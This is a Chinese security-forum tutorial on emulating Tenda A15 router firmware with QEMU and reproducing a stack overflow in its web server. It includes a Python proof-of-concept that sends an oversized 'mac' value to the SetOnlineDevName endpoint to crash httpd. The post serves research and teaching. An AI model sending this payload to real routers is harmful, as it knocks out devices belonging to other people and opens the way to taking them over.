首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
二进制漏洞
发新帖
2
1
[原创][分享][注意][分享]Tenda A15 固件模拟与漏洞复现
发表于: 2026-4-8 21:13
3686
[原创][分享][注意][分享]Tenda A15 固件模拟与漏洞复现
zach0ry
2026-4-8 21:13
3686
## Tenda A15 固件模拟与漏洞复现 ### 环境检测 ``` echo "--- 1. 固件解包工具检测 ---" which sasquatch echo -e "\n--- 2. QEMU 模拟环境检测 ---" qemu-mipsel-static --version qemu-system-mipsel --version echo -e "\n--- 3. 调试工具检测 ---" gdb-multiarch --version echo -e "\n--- 4. 网络与依赖服务检测 ---" brctl show systemctl is-active rpcbind ```  ### 固件解包 <a href="elink@8a4K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6N6r3q4@1K9h3y4Q4x3X3g2@1k6h3&6V1j5g2)9J5k6h3y4G2L8g2)9J5k6h3y4F1i4K6u0r3N6r3c8W2N6$3g2T1i4K6u0r3k6r3!0%4L8X3I4G2j5h3c8Q4x3V1k6m8x3e0g2Q4x3V1k6g2f1#2)9#2k6V1p5I4y4g2j5I4i4K6u0W2x3q4u0f1e0q4)9#2k6W2j5I4y4g2)9J5k6e0p5K6i4K6u0W2x3o6N6Q4x3X3f1I4x3#2)9#2k6X3#2#2L8s2c8A6i4K6g2X3g2p5b7H3x3g2)9J5k6i4A6A6M7l9`.`.">固件下载地址</a> 提取固件 ``` binwalk -Me US_A15V1.0RTL_V15.13.07.13_multi_TD01.bin ``` 终端会滚动输出很多信息,并且在当前目录下会生成一个以 `_固件名.extracted` 结尾的新文件夹,里面包含一个 `squashfs-root` 目录。这就是路由器里的完整 Linux 文件系统了! 查看程序信息 ``` file bin/httpd ```  将 x86 架构下的 MIPS 翻译器(QEMU)复制到当前假根目录中: ``` cp $(which qemu-mipsel-static) . ``` 使用 `chroot` 将当前目录作为根目录,启动 `httpd` 服务 ``` sudo chroot . ./qemu-mipsel-static ./bin/httpd ```  没反应,ip地址错误,没有布置监听 ### 文件系统修补 在真实的 IoT 设备中,根文件系统(也就是提取出来的 `squashfs`)通常是**只读的(Read-Only)**。 但是,`httpd` 服务在运行时,必须生成一些动态数据,比如: - 记录当前进程号的 PID 文件 - 用户的 Session 缓存、临时上传的配置文件。 - 运行时的网络状态(`/var/run`)。 **真实路由器的做法**:在系统刚通电开机时,操作系统的启动脚本(`init`)会在内存中划分出一块区域(`tmpfs`,也就是内存虚拟盘),然后把 `/var`、`/tmp` 等需要频繁读写的目录挂载到这个内存盘上。接着,它会把出厂默认的配置文件(存放在以 `_ro` 即 Read-Only 结尾的目录里)复制到真正的运行目录中。 **我们的模拟环境**:提取出的 `squashfs-root` 只是固件在关机状态下的静态文件。它缺少了开机时动态创建的那些目录,而且真正的配置文件还在 `etc_ro` 里睡大觉,真正的网页文件还在 `webroot_ro` 里。 在目录etc_ro中有init.d目录,其中的文件就是启动项,但是不能直接去启动它,因为它包含 `mount -t ramfs` 等命令会因为权限问题报错并且`/sbin`、`/etc` 等绝对路径与实际不符合 >### 更改方法 > >**照抄 `rcS` 的 `mkdir` 动作** > >**执行 `rcS` 里的文件拷贝**:把 `etc_ro` 和 `webroot_ro` 里的资源部署到位。 > >**加入 `strace` 发现的补丁**:加上 `/proc`、`/sys`、`/dev` 的 `mount` 动作。 下图是etc_ro中有init.d的rcS的内容  ``` #!/bin/sh mkdir -p ./var/etc mkdir -p ./var/media mkdir -p ./var/webroot mkdir -p ./var/etc/iproute mkdir -p ./var/run mkdir -p ./var/etc/udhcpc mkdir -p ./var/debug mkdir -p ./dev/pts mkdir -p ./var/ppp mkdir -p ./tmp cp -rf ./etc_ro/* ./var/etc/ cp -rf ./webroot_ro/* ./var/webroot ``` 挂载(Mount):给程序装上“传感器,`proc`、`sys`、`dev` ,路由器程序(`httpd`)运行的时候,会去 `/proc` 里看系统状态。如果不挂载,它看到的文件夹就是空的,它会觉得自己跑在一个“死掉”的系统里,然后直接报错退出。 ``` sudo mount -t proc /proc ./proc sudo mount -t sysfs /sys ./sys sudo mount --bind /dev ./dev ``` 软链接 ``` sudo ln -snf ./var/webroot ./webroot ``` ### 网卡接口配置 为了“伪造”出路由器程序赖以生存的硬件环境,并打通与该程序之间的通信链路,让固件正常运行,我们必须在 Linux 内核中伪造出它所需的网络拓扑 静态分析看到应该是br0和80端口  ``` sudo brctl addbr br0 sudo ip addr add 192.168.0.1/24 dev br0 sudo ip link set br0 up ``` 然后再次执行 ``` sudo chroot . ./qemu-mipsel-static ./bin/httpd ```  ### 漏洞静态分析 `initWebs`是初始话web界面,并根据提交表单调用相应功能  **API 路由表** websFormDefine("前端名字", 后端C函数名)  大佬的说要多关注带有set的功能,因为大多数是需要接受前端数据,进行设置操作的,因此存在较高的安全风险   分析处理`SetOnlineDevName` 请求的`formSetDeviceName` 函数,其中的`set_device_name`发现漏洞 没有对字符串长度校验,使用`sprintf`会造成栈溢出漏洞导致程序崩溃 在常规 Pwn 题里,接收输入的是 `read(0, buf, size)` 或者 `gets(buf)`,直接从标准输入流读。 而在 Tenda 路由器的 `formSetDeviceName` 函数里,它绝对不会调用 `scanf` 或 `read` 等待你输入。`websFormHandler` 会把 HTTP POST 请求全部接收完毕,并解析成了内存里的一个字典结构 ``` import requests from pwn import cyclic ip = '192.168.0.1' # 填网桥 IP url = f'http://{ip}/goform/SetOnlineDevName' # 结合优势:攻击 mac 字段,并使用 4000 字节的超大探针! payload = { "mac": cyclic(4000), "devName": "devname1" } print("[*] 正在发送 4000 字节的终极探针...") try: requests.post(url=url , data=payload, timeout=2) except Exception: print("[+] 目标已彻底断开,绝对当场暴毙!") ```  但是运行结果非预期,程序并没有崩溃,还打印了信息**device name setted failed!**和**set device name error!** 在ida中追踪发现是调用`tpi_set_mac_info`失败  可以用IDA进行patch,直接把跳转指令nop掉就达到我们的目的了   之后再运行就可以了  ### 系统模拟对比 系统级模拟(System-mode Emulation)相当于在 Kali 里用 VMware 跑了一个完整的虚拟机。 | **对比维度** | **用户态模拟 (qemu-user-static)** | **全系统模拟 (qemu-system)** | | --------------------- | ---------------------------------------------- | -------------------------------------------------- | | **模拟层级** | 仅模拟 CPU 指令集和系统调用 | 模拟整个硬件平台(CPU、总线、外设) | | **运行对象** | **单个**二进制 ELF 文件(如 `httpd`) | **完整**的操作系统(Kernel + 文件系统) | | **真实度 (Fidelity)** | 较低。极易遇到 NVRAM 缺失、IPC 通信失败的问题 | 极高。几乎等同于一台真实的物理路由器 | | **资源消耗与速度** | 极低,启动秒开,非常适合快速跑 Fuzzing | 较高,需要完整的开机自检,启动耗时 | | **网络环境** | 默认共享 Kali 的本地网络(127.0.0.1 极其方便) | 需要配置复杂的虚拟网卡(TAP/TUN/br0)来进行桥接 | | **应用场景** | 快速验证溢出漏洞、逆向分析单一函数的算法 | 测算真实偏移量、编写完整 RCE Exploit、研究内核提权 | | **维度** | **用户态模拟 (User-mode)** | **系统级模拟 (System-mode)** | | ------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | | **定位** | **微观:** 死磕某个具体的二进制程序(如 `httpd`) | **宏观:** 运行整个固件系统,看整体效果 | | **优势** | **快、纯净、调试极方便。** 配合 `pwndbg` 就像在本地调试一样顺滑。 | **真实。** 网络、内核、文件系统环境完整,不需要手动补齐依赖。 | | **痛点** | **硬件缺失。** 经常会因为找不到 NVRAM 或特定的硬件驱动而崩溃。 | **重、慢、坑多。** 配置网络桥接和内核非常折磨人。 | | **适用场景** | **编写 Exploit (Pwn):** 构造 ROP 链、计算偏移、调试内存。 | **漏洞搜索:** 用 Burp Suite 抓包、分析 Web 逻辑、验证最终利用。 | 我们在用户态成功运行的基础上继续执行,在ubuntu中造出一块虚拟网卡和两块虚拟测试板,让它们能和 QEMU 里的 MIPS 虚拟机互相“打通”。 宿主机配置虚拟网卡 系统态 QEMU 启动后是一个完全独立的黑盒,我们需要在ubuntu上拉一根“虚拟网线(tap0)”连到虚拟机上。 ``` sudo ip tuntap add dev tap0 mode tap# 创建 tap0 虚拟网卡 sudo ip link set tap0 up sudo ip addr add 10.10.10.1/24 dev tap0# 给ubuntu配置一个 IP (作为虚拟机的网关) ``` 现在复现的是 Tenda A15,它的芯片是 **MIPS 小端序 (mipsel)**。所以需要寻找支持 `mipsel` 架构的内核和镜像 ``` wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta# 下载内核 # 下载磁盘镜像 wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2 ``` 按下虚拟 MIPS 电脑的电源键 ``` sudo qemu-system-mipsel \ -M malta \ -nographic \ -kernel vmlinux-3.2.0-4-4kc-malta \ -hda debian_wheezy_mipsel_standard.qcow2 \ -net nic,macaddr=52:54:00:12:34:56 \ -net tap,ifname=tap0,script=no,downscript=no \ -append "root=/dev/sda1 console=ttyS0" ``` | **参数** | **相当于组装电脑时的...** | | ------------------- | ------------------------- | | **`mipsel`** | 选一个 MIPS 的 CPU | | **`-M malta`** | 选一块 Malta 牌主板 | | **`-kernel`** | 给 CPU 加载指令集(灵魂) | | **`-hda`** | 插上一块装好系统的硬盘 | | **`-net tap`** | 插上一根连接 Kali 的网线 | | **`console=ttyS0`** | 把显卡线插到串口监视器上 | 滚动停止后,会出现: > ``` > Debian GNU/Linux 7 debian-mipsel ttyS0` `debian-mipsel login: > ``` 这时请输入: - **用户名:** `root` - **密码:** `root` 配置虚拟机内部网络,把网络打通并伪造网桥: ``` # 1. 给虚拟机的 eth0 配置 IP,连接你的 Kali (10.10.10.1) ip addr add 10.10.10.2/24 dev eth0 ip link set eth0 up # 2. 伪造 Tenda 固件找的 br0 ip link add br0 type dummy ip addr add 10.10.10.3/24 dev br0 ip link set br0 up ``` 因为虚拟机现在是空的,我们需要从的宿主机把 `squashfs-root` 传过去。 **在宿主机** ``` # 进入上一级目录,把 squashfs-root 打包 cd ~/De/pwn_work/_US_A15V1.0RTL_V15.13.07.13_multi_TD01.bin.extracted/ # 排除掉那个巨大的镜像文件,只打包固件 tar -zcvf rootfs.tar.gz --exclude='*.qcow2' squashfs-root/ python3 -m http.server 8000#把当前目录变成一个微型网站。 #效果: 运行后,任何人只要访问的 IP (10.10.10.1) 和 8000 端口,就能看到并下载这个目录下的文件。 ``` **在虚拟机终端:** ``` wget http://10.10.10.1:8000/rootfs.tar.gz tar -zxvf rootfs.tar.gz cd squashfs-root/ ``` 虚拟机:挂载并启动 在虚拟机终端继续执行: ``` cd squashfs-root # 挂载传感器 mount -t proc /proc ./proc mount -t sysfs /sys ./sys mount --bind /dev ./dev # 模拟路由器的“开机启动” mkdir -p ./var/run ./var/etc ./var/webroot ./etc cp -rf ./etc_ro/* ./etc/ cp -rf ./etc_ro/* ./var/etc/ cp -rf ./webroot_ro/* ./var/webroot # 补上那个关键软链接 ln -snf ./var/webroot ./webroot # 设置根目录启动 httpd chroot . ./bin/httpd ``` 脚本要把ip地址改一下 ``` import requests from pwn import cyclic ip = '10.10.10.3' # 填网桥 IP url = f'http://{ip}/goform/SetOnlineDevName' # 结合优势:攻击 mac 字段,并使用 4000 字节的超大探针! payload = { "mac": cyclic(4000), "devName": "devname1" } print("[*] 正在发送 4000 字节的终极探针...") try: requests.post(url=url , data=payload, timeout=2) except Exception: print("[+] 目标已彻底断开,绝对当场暴毙!") ```  最后再放一个模板 ``` #!/bin/bash # ============================================== # QEMU MIPSEL Debian Squeeze 虚拟机安装脚本(带校验功能) # 适用于嵌入式开发/逆向工程环境搭建 # ============================================== # 配置参数 WORK_DIR="debian-mipsel-qemu" IMAGE_FILE="debian_squeeze_mipsel_standard.qcow2" KERNEL_FILE="vmlinux-2.6.32-5-4kc-malta" START_SCRIPT="start.sh" # 1. 创建工作目录(如果不存在) if [ ! -d "$WORK_DIR" ]; then echo "创建目录 $WORK_DIR..." mkdir -p "$WORK_DIR" fi cd "$WORK_DIR" || { echo "无法进入目录 $WORK_DIR"; exit 1; } # 2. 下载镜像文件(如果不存在) download_file() { local url=$1 local file=$2 if [ ! -f "$file" ]; then echo "正在下载 $file..." wget "$url" -O "$file" || { echo "下载失败"; exit 1; } else echo "$file 已存在,跳过下载" fi } download_file "https://people.debian.org/~aurel32/qemu/mipsel/$IMAGE_FILE" "$IMAGE_FILE" download_file "https://people.debian.org/~aurel32/qemu/mipsel/$KERNEL_FILE" "$KERNEL_FILE" # 3. 生成或覆盖启动脚本 echo "生成启动脚本..." cat > "$START_SCRIPT" << 'EOF' #!/bin/bash sudo qemu-system-mipsel \ -nographic \ -M malta \ -kernel vmlinux-2.6.32-5-4kc-malta \ -hda debian_squeeze_mipsel_standard.qcow2 \ -net nic,macaddr=52:54:00:12:34:56 \ -net tap,ifname=tap0,script=no,downscript=no \ -append "root=/dev/sda1 console=tty0" EOF chmod +x "$START_SCRIPT" # 4. 检查是否所有文件都已准备就绪 required_files=("$IMAGE_FILE" "$KERNEL_FILE" "$START_SCRIPT") missing_files=() for file in "${required_files[@]}"; do if [ ! -f "$file" ]; then missing_files+=("$file") fi done if [ ${#missing_files[@]} -ne 0 ]; then echo "错误:以下文件缺失:" printf ' - %s\n' "${missing_files[@]}" exit 1 fi # 5. 启动虚拟机 echo "正在启动QEMU虚拟机..." ./"$START_SCRIPT" ```
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
#漏洞分析
#缓冲区溢出
#Linux
收藏
・
2
点赞
・
1
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
wx_晨梦
为你点赞!
2026-7-16 06:39
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
0
)
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
zach0ry
2
发帖
0
回帖
0
RANK
关注
私信
他的文章
[原创]CNVD-2026-28535漏洞挖掘分享
100
[原创][分享][注意][分享]Tenda A15 固件模拟与漏洞复现
3686
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部